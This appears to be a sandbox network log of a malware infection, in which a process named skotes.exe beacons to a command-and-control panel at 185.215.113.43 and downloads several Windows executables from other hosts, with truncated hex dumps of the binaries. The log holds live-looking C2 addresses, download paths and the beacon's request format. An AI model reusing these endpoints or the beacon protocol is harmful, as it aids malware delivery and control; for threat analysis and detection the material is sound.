Dec 9, 2024 15:30:08.168765068 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 9, 2024 15:30:09.574753046 CET	770	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 14:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 34 33 0d 0a 20 3c 63 3e 31 30 31 33 34 33 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 36 63 62 31 32 31 38 65 64 30 37 62 33 31 34 31 35 30 33 34 66 39 31 66 32 63 33 33 35 39 36 61 63 39 61 35 35 33 36 65 36 23 31 30 31 33 34 34 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 33 34 34 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 33 34 34 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 [TRUNCATED] Data Ascii: 243 <c>1013433001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c26cb1218ed07b31415034f91f2c33596ac9a5536e6#1013443001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1013444001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1013445001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1013446001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1013447001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49866	31.41.244.11	80	3788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:30:09.698751926 CET	66	OUT	GET /files/7993434781/ziNGMDa.exe HTTP/1.1 Host: 31.41.244.11
Dec 9, 2024 15:30:11.030709982 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 14:30:10 GMT Content-Type: application/octet-stream Content-Length: 10383544 Last-Modified: Mon, 09 Dec 2024 13:27:20 GMT Connection: keep-alive ETag: "6756f038-9e70b8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ec 5e 55 db a8 3f 3b 88 a8 3f 3b 88 a8 3f 3b 88 bc 54 3f 89 a3 3f 3b 88 bc 54 38 89 af 3f 3b 88 bc 54 3e 89 12 3f 3b 88 ce 50 c6 88 ab 3f 3b 88 fa 4a 3e 89 8e 3f 3b 88 fa 4a 3f 89 b9 3f 3b 88 fa 4a 38 89 a1 3f 3b 88 bc 54 3a 89 ad 3f 3b 88 a8 3f 3a 88 d9 3f 3b 88 12 4a 3f 89 bb 3f 3b 88 12 4a 39 89 a9 3f 3b 88 52 69 63 68 a8 3f 3b 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 10 3a fd 61 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 36 02 00 00 3e 02 00 00 00 00 00 30 9d 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$^U?;?;?;T??;T8?;T>?;P?;J>?;J??;J8?;T:?;?:?;J??;J9?;Rich?;PEd:a"6>0@`Y<H^L 8@88P .text56 `.rdataP:@@.datapP@.pdataH \@@_RDATA\|@@.rsrc~@@.relocLp@B
Dec 9, 2024 15:30:11.031052113 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 89 5c 24 08 57 48 83 ec 20 8b f9 e8 47 ac 00 00 48 8b 18 e8 37 ac 00 Data Ascii: H\$WH GH7HmSHH\$0H _H1cHT$HL$SUVWAVAWH3MHHD$PHHD$XHCHD$`D@XD$(HL$ HD$ Iw
Dec 9, 2024 15:30:11.031068087 CET	1236	IN	Data Raw: 44 8b f8 85 c0 74 26 48 8d 53 12 44 8b c0 48 8d 0d 65 43 02 00 e8 80 0b 00 00 8d 45 ff 48 81 c4 88 00 00 00 41 5f 41 5e 5f 5e 5d 5b c3 b9 00 20 00 00 4c 89 ac 24 80 00 00 00 e8 0f e9 00 00 4c 8b e8 48 85 c0 75 1c 4c 8d 43 12 48 8d 15 78 43 02 00 Data Ascii: Dt&HSDHeCEHA_A^_^][ L$LHuLCHxCHCc HHuLCHCHC5L$Dc@fL L;IIHGLH;HL+\$(Ll$ f
Dec 9, 2024 15:30:11.031888962 CET	1236	IN	Data Raw: ff 0f 84 84 00 00 00 48 89 74 24 58 66 66 0f 1f 84 00 00 00 00 00 4d 8b 0e 49 3b fd 48 8b f7 41 b8 01 00 00 00 49 0f 47 f5 49 8b cf 48 8b d6 e8 52 aa 00 00 48 83 f8 01 72 31 4d 8b cc 41 b8 01 00 00 00 48 8b d6 49 8b cf e8 60 af 00 00 48 83 f8 01 Data Ascii: Ht$XffMI;HAIGIHRHr1MAHI`HrH+u+H?H)@H?H?LHt$XILl$(L\|$ IHtIIHl$PLd$`H0A^_[@SH LAHLQLM;sB
Dec 9, 2024 15:30:11.031907082 CET	1236	IN	Data Raw: c0 75 ef 48 8b cf e8 47 fd ff ff 85 c0 74 22 48 8b 0f 48 85 c9 74 08 e8 7a a2 00 00 48 89 37 33 c0 48 8b 5c 24 30 48 8b 74 24 38 48 83 c4 20 5f c3 48 8b 5c 24 30 b8 01 00 00 00 48 8b 74 24 38 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: uHGt"HHtzH73H\$0Ht$8H _H\$0Ht$8H _Ht7SH HHIHt%HHtHHH [@SH PHHuH<H<HH [LD$LL$ SUVWH8IHl$xHH
Dec 9, 2024 15:30:11.033466101 CET	1236	IN	Data Raw: 74 21 4c 8d 44 24 50 48 8d 93 78 30 00 00 48 8d 8d 50 2f 00 00 e8 54 34 00 00 83 f8 ff 0f 85 68 02 00 00 48 8d 54 24 50 48 8d 0d 0f 39 02 00 e8 ea fc ff ff b8 ff ff ff ff 48 8b bc 24 90 50 00 00 4c 8b b4 24 98 50 00 00 48 8b 8d 50 4f 00 00 48 33 Data Ascii: t!LD$PHx0HP/T4hHT$PH9H$PL$PHPOH3zH`P^[]HPMLx HD$ H8HPbt^HPMLx HD$ H8HP5t1HPMLx HD$ H8HPH
Dec 9, 2024 15:30:11.033485889 CET	1236	IN	Data Raw: 8d 4c 24 30 ff 15 e0 58 03 00 48 8d 15 71 35 02 00 49 8b cf 4c 8b c0 48 8b d8 ff 15 aa 58 03 00 48 8b cb ff 15 49 58 03 00 8b 56 0c 49 8b ce ff 15 45 59 03 00 48 8b d8 48 85 c0 0f 84 8d 00 00 00 4c 8b c0 48 8d 15 6f 35 02 00 49 8b cf ff 15 76 58 Data Ascii: L$0XHq5ILHXHIXVIEYHHLHo5IvXMIHYHtNIzHHHH;E&3H$xL$HL$PL$@H$MfXHVH5~HVH4l>XH`4
Dec 9, 2024 15:30:11.034904957 CET	1236	IN	Data Raw: 44 24 2b e8 5e 36 00 00 48 85 c0 75 28 48 8b cb e8 05 94 00 00 b8 01 00 00 00 44 8b c0 48 8d 95 30 0f 00 00 48 8d 0d 8b 31 02 00 e8 46 f3 ff ff e9 5d ff ff ff 44 89 af 80 50 00 00 4c 89 bf 88 50 00 00 eb 13 44 89 af 80 50 00 00 4c 89 bf 88 50 00 Data Ascii: D$+^6Hu(HDH0H1F]DPLPDPLPHuHfu?H0AH0/H?HuHb1H0/c'"HD$ EuLE3HHfu:HT$ HuHL$ uHL$ HT$0
Dec 9, 2024 15:30:11.034923077 CET	1236	IN	Data Raw: 8d 4c 24 40 e8 49 3b 00 00 41 b8 0a 00 00 00 48 8d 4c 24 20 48 8b d3 e8 36 3b 00 00 48 8d 54 24 20 48 8d 4c 24 40 e8 9f de 00 00 48 8b 8c 24 40 20 00 00 48 33 cc e8 77 6c 00 00 48 81 c4 50 20 00 00 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: L$@I;AHL$ H6;HT$ HL$@H$@ H3wlHP [H\$Hl$Ht$WH ILL)HHcHsf\|9\tf9\HHH+HfDH<uH;s4\|0\LHHum\|H[uD;HSH
Dec 9, 2024 15:30:11.036351919 CET	1236	IN	Data Raw: 85 c0 75 0c 48 8d 15 eb 2e 02 00 e9 57 fc ff ff 48 8d 15 0f 2f 02 00 48 8b cb ff 15 2e 1e 02 00 48 89 05 ef 4a 03 00 48 85 c0 75 0c 48 8d 15 13 2f 02 00 e9 2f fc ff ff 48 8d 15 3f 2f 02 00 48 8b cb ff 15 06 1e 02 00 48 89 05 f7 49 03 00 48 85 c0 Data Ascii: uH.WH/H.HJHuH//H?/HHIHuH;/H_/HHIHuH[/H/HHIHuH/H/HHIHuH/H/HfHgIHu
Dec 9, 2024 15:30:11.150537014 CET	1236	IN	Data Raw: 7c 50 00 00 01 75 29 33 d2 48 8d 0d 1a 36 02 00 ff 15 44 45 03 00 33 d2 48 8d 0d ab 36 02 00 ff 15 35 45 03 00 48 83 c4 28 48 ff 25 e2 44 03 00 48 83 c4 28 c3 cc cc cc cc cc 40 56 48 83 ec 20 48 8b f1 48 c7 c2 ff ff ff ff 48 81 c1 78 40 00 00 48 Data Ascii: \|Pu)3H6DE3H65EH(H%DH(@VH HHHx@H<uL4L4EHuH4{H ^HH\$0H5KEH^H;^H\|$8C,Mu{HH=C3HC\|PHOHO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49912	185.215.113.43	80	3788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:30:29.548194885 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 34 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013433001&unit=246122658369
Dec 9, 2024 15:30:30.892916918 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 14:30:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49917	31.41.244.11	80	3788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:30:31.016555071 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 9, 2024 15:30:32.524991989 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 14:30:32 GMT Content-Type: application/octet-stream Content-Length: 1940992 Last-Modified: Mon, 09 Dec 2024 13:06:27 GMT Connection: keep-alive ETag: "6756eb53-1d9e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 80 85 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 85 00 00 04 00 00 ba 20 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!J@$@$@$@$@$@$_@$@%@$@$@$@$Rich@$PELd@ ZBn@h!$ @T@.rsrch!@d@.idata B@ ( B@zdenlbinj\|@hmrfrbxbpx@.taggant0"\|@
Dec 9, 2024 15:30:32.525008917 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:30:32.525018930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:30:32.525029898 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:30:32.526546955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:30:32.526561022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: =imn >GQ:J<L?t
Dec 9, 2024 15:30:32.526571035 CET	448	IN	Data Raw: 56 ca b7 24 8a 8a 9b d6 28 b7 36 1a 95 c3 ce ce 04 50 03 81 c8 97 a7 79 2d c5 89 d2 7e 37 3f 8b d4 0c 14 c2 fd 61 d3 17 b3 ab de 91 e8 a3 9e cc c1 97 c1 0a 01 ef ed 2d 81 71 af ba 28 d6 83 d2 cc 64 d6 51 be ea 7e 6f d4 d8 0d 12 8c be 87 3c d6 d6 Data Ascii: V$(6Py-~7?a-q(dQ~o<uwu)5Pdt:O@AB;2PTo@1O8Q6{@W 1]&\|w*.zi^;i,0@&lQkUdPxZd,~a
Dec 9, 2024 15:30:32.528021097 CET	1236	IN	Data Raw: 2d 28 f8 dd 9d d0 ca 69 2b b8 86 f2 c5 14 20 83 5f 90 cc 32 a9 5a 9c f7 38 a1 a9 04 30 6e ef 8f 27 69 fb 6b 2a 95 d5 a3 17 73 fc ff 6f 89 4a 5a 69 96 8c 82 17 1c 9f f6 63 99 24 62 69 0c cd 13 c9 89 da 8e a3 c2 b4 13 5c 6f 41 ec 18 95 86 27 db 65 Data Ascii: -(i+ _2Z80n'ik*soJZic$bi\oA'e6x.{]4q=!~iA}Rvp[{J+:yb,Wow<P%}Q8`_)8S7hf+ptn7NU!Xjzp<kU
Dec 9, 2024 15:30:32.528034925 CET	1236	IN	Data Raw: 7b 58 e8 f0 d0 08 fa 61 d5 66 fc 5d d7 21 71 12 9b 32 fd e5 21 e4 77 12 50 b8 ed 72 ae ec ed c9 d2 c8 d2 f9 3c 51 0d 69 4c 85 c9 9e e6 88 df 68 84 31 19 75 dc fb 05 80 14 a7 5f 37 22 78 6b f5 82 79 57 a1 92 0c 54 64 ec 63 d5 a1 14 a8 c4 9c d8 eb Data Ascii: {Xaf]!q2!wPr<QiLh1u_7"xkyWTdckHsKtxXg3>Oj*>\|jJ]0n)q1D!-93ps6Ygr!0znbZVj<2&2wk<)8dwx49qnQ?V<k
Dec 9, 2024 15:30:32.528045893 CET	448	IN	Data Raw: 8f 6d 1b 6e 3f 47 67 69 a8 01 d4 39 f0 50 f8 7f 76 89 ba 77 ce 6a bb c6 cc 65 18 9c f2 a1 d2 d9 e9 94 bc af 70 ac 55 fe 22 b5 bb 5b 65 95 e5 37 1c 1f 32 13 3a 4b 88 3a 93 a2 e5 5a 0f 39 8a 76 7b 79 96 22 c9 56 fc af bc 31 4e ef bc 68 d8 f1 2f 19 Data Ascii: mn?Ggi9PvwjepU"[e72:K:Z9v{y"V1Nh/~fbznW{ mni(<i"9P1BM1M":O@x[YGjc{qJnzpk@4DEGaw0{piaS\~yivinn
Dec 9, 2024 15:30:32.591733932 CET	1236	IN	Data Raw: f0 b3 d2 59 e6 29 e8 dd d9 ac 94 6f 2c 7a 8c 3c c1 68 1d 65 a1 b0 38 96 69 21 f9 99 2c 10 8a 30 6d 58 19 16 8f 3f 36 ee 48 d8 97 aa f5 87 ad 5a 5f b6 8f 47 3c fa 18 dd d2 0f 0b e2 6c b0 d0 ff f8 17 7e 2d 28 17 e0 0e a5 88 d9 62 89 76 69 70 96 76 Data Ascii: Y)o,z<he8i!,0mX?6HZ_G<l~-(bvipvalVV7jv2*2Q;Eq@:p_ip^<TBie"K`'DjPM{rW_h=$_^"")=BOPRJa m,M{sP`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49933	185.215.113.43	80	3788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:30:38.030237913 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 34 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013443001&unit=246122658369
Dec 9, 2024 15:30:39.389579058 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 14:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49938	185.215.113.16	80	3788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:30:39.674829960 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 15:30:41.016627073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 14:30:40 GMT Content-Type: application/octet-stream Content-Length: 1860096 Last-Modified: Mon, 09 Dec 2024 13:45:13 GMT Connection: keep-alive ETag: "6756f469-1c6200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 10 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4a 00 00 04 00 00 9d cb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELUgJ@@J@\@p0A B@.rsrc0R@.idata @V@ *PX@kotpjprz0Z@epobgbujJ<@.taggant0J"@@
Dec 9, 2024 15:30:41.016963005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:30:41.016976118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:30:41.018096924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:30:41.018697977 CET	1236	IN	Data Raw: c4 0c 7c b0 d6 37 b2 de 25 ea 62 de 88 f9 b2 9b 8d 94 2b 25 25 5c 00 90 75 e7 7e 9a 50 2f 33 51 1e b1 11 c9 14 a2 e0 99 2e 1c 93 d4 c9 0d 8a 9b 53 7c c4 9a 8c dc 08 c4 59 e8 fd 49 27 a8 ea 79 5d 38 01 55 cd 37 c7 84 e6 e3 dc 77 db c4 2b 99 a5 b5 Data Ascii: \|7%b+%%\u~P/3Q.S\|YI'y]8U7w+}{=v64b%\|9Y+n\= "TkPa+=I"F7&z<%!)F]Jh9PA45ssu[Pl
Dec 9, 2024 15:30:41.018709898 CET	1236	IN	Data Raw: b3 40 fd a4 27 56 13 ff 93 e5 ba 6b 4a dc ac 07 e1 a2 39 98 61 f4 ba 4d fd ab 7e 58 a6 ec ff 07 74 65 bb 4b 3e 2e 6a 70 d8 35 2c 7e 54 07 5e e9 21 8b cf 57 dd fe 41 e0 18 ed 74 a7 a0 2f f2 8f 0e ab 42 5d cb d2 8e b9 a7 7d 53 c1 65 9f 36 2b f4 d2 Data Ascii: @'VkJ9aM~XteK>.jp5,~T^!WAt/B]}Se6+byl9M!BW+e\|s) ::bQ21MFfdOJ$ARGH>{jRyxunKSS!62bwMAN3^Rz'
Dec 9, 2024 15:30:41.019871950 CET	776	IN	Data Raw: 57 c0 42 69 fb 1d c1 25 61 47 c9 9e 01 a9 07 6b 0d d6 ca 1f b3 f6 49 81 63 7d 93 fc 52 31 53 7a 48 d4 d5 93 5a 10 41 5d b5 a7 44 e7 91 dc 2c 6e 15 02 02 b9 0b 24 04 1b 7a 93 ad 44 4b 0f 01 a1 74 92 c0 b0 64 5c f9 b2 6f b4 02 70 63 64 28 aa 96 a2 Data Ascii: WBi%aGkIc}R1SzHZA]D,n$zDKtd\opcd(l\U[BBYx+%nK1H"7n_[]oj-D5Ssw]BCrCe-U'{3EjZ"SBT\a<
Dec 9, 2024 15:30:41.019901991 CET	1236	IN	Data Raw: 0e f5 2a a9 e2 01 0a 11 53 ec d2 67 6e aa 5d a2 44 04 b3 a7 0a f5 f5 8c d2 7d 16 6b 35 9d ff 51 c6 31 91 68 1a 89 8b 05 7a b6 dc 7b 99 fa 56 0c 81 ad b6 10 f8 15 05 5e fe 6a 6d 4b 9f e3 23 1d b8 29 3b 98 17 a1 47 70 6b b0 b1 9d bf ad f9 ff 77 4c Data Ascii: Sgn]D}k5Q1hz{V^jmK#);GpkwL~veX3CXx-j/l>,Mp1kQ^kRvMwrMU+on`ZcJhcFVcIzKAW7\|'
Dec 9, 2024 15:30:41.020910025 CET	1236	IN	Data Raw: cf 5c c7 29 ab df e4 5f d5 c1 da 2b 76 07 8e a9 92 a3 bf 9b 45 22 7a 43 9e eb bc 23 d4 f3 44 c6 24 96 26 1c 39 a2 88 4d 89 9f 8e 69 d0 14 5b 92 8e 4a 93 8b 1e 2e f0 9f ca 38 47 8a 92 44 58 aa 41 2f c1 a9 13 a7 ac 16 1b 29 71 1a b0 17 d1 14 2e 0b Data Ascii: \)_+vE"zC#D$&9Mi[J.8GDXA/)q.Y6wiKTRmN+)<]*~h[#$G+U\xdg?eWQMoh^=F56ez>myn
Dec 9, 2024 15:30:41.020924091 CET	1236	IN	Data Raw: a0 8a 21 20 d4 ef d6 4a 14 f6 47 46 d6 a4 eb e8 a3 40 bf 4e 38 c6 ef c8 0c 8d 71 61 0e c7 27 a1 97 15 b8 06 00 16 23 1c d3 e2 e1 9e cd ff 4d 44 19 36 19 8e 86 ec 32 2e c7 f5 60 31 06 27 58 16 e0 f4 31 73 17 75 7b 96 90 58 b1 84 45 79 20 a7 2f 76 Data Ascii: ! JGF@N8qa'#MD62.`1'X1su{XEy /vl[lw"WYyFZZOK^V"."t(S77a'+,jS.+5Kk@0%F*<A90y;RKF5N?F5iX
